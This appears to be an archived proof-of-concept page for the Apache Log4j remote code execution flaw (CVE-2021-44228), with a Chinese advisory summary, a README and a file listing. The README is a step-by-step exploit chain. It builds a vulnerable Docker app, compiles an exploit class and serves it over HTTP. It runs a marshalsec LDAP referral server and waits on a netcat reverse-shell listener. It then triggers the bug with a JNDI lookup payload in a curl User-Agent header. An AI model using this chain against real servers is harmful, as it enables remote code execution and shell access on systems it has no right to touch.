Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-44228 PoC — Apache Log4j 代码问题漏洞

Source
Associated Vulnerability
Title:Apache Log4j 代码问题漏洞 (CVE-2021-44228)
Description:Apache Log4j是美国阿帕奇(Apache)基金会的一款基于Java的开源日志记录工具。 Apache Log4J 存在代码问题漏洞,攻击者可设计一个数据请求发送给使用 Apache Log4j工具的服务器,当该请求被打印成日志时就会触发远程代码执行。
Readme
# CVE-2021-44228 (Apache Log4j2 RCE)

## Requirements

-   [JDK 17](https://www.oracle.com/java/technologies/javase/jdk17-archive-downloads.html)
-   [Docker](https://www.docker.com/get-started)

## Usage

1. Run application

    ```bash
    docker build -t vulnapp .
    docker run -p 8080:8080 --rm --name vulnapp vulnapp
    ```

2. Compile exploit

    ```bash
    javac Exploit.java
    ```

3. Run http server

    ```bash
    python3 -m http.server 8000
    ```

4. Run ldap server

    ```bash
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://host.docker.internal:8000/#Exploit"
    ```

5. Listen for reverse shell

    ```bash
    nc -lvnp 9000
    ```

6. Trigger vulnerability

    ```bash
    curl http://localhost:8080 -H 'User-Agent: ${jndi:ldap://host.docker.internal:1389/a}'
    ```
File Snapshot

[4.0K] /data/pocs/8c712d091179099ec29611d9e2be0b5128e39ada ├── [ 18M] app.jar ├── [2.3K] CVE-2021-44228.md ├── [ 180] Dockerfile ├── [1.3K] Exploit.java ├── [399K] image.png ├── [ 41M] marshalsec-0.0.3-SNAPSHOT-all.jar └── [ 882] README.md 0 directories, 7 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.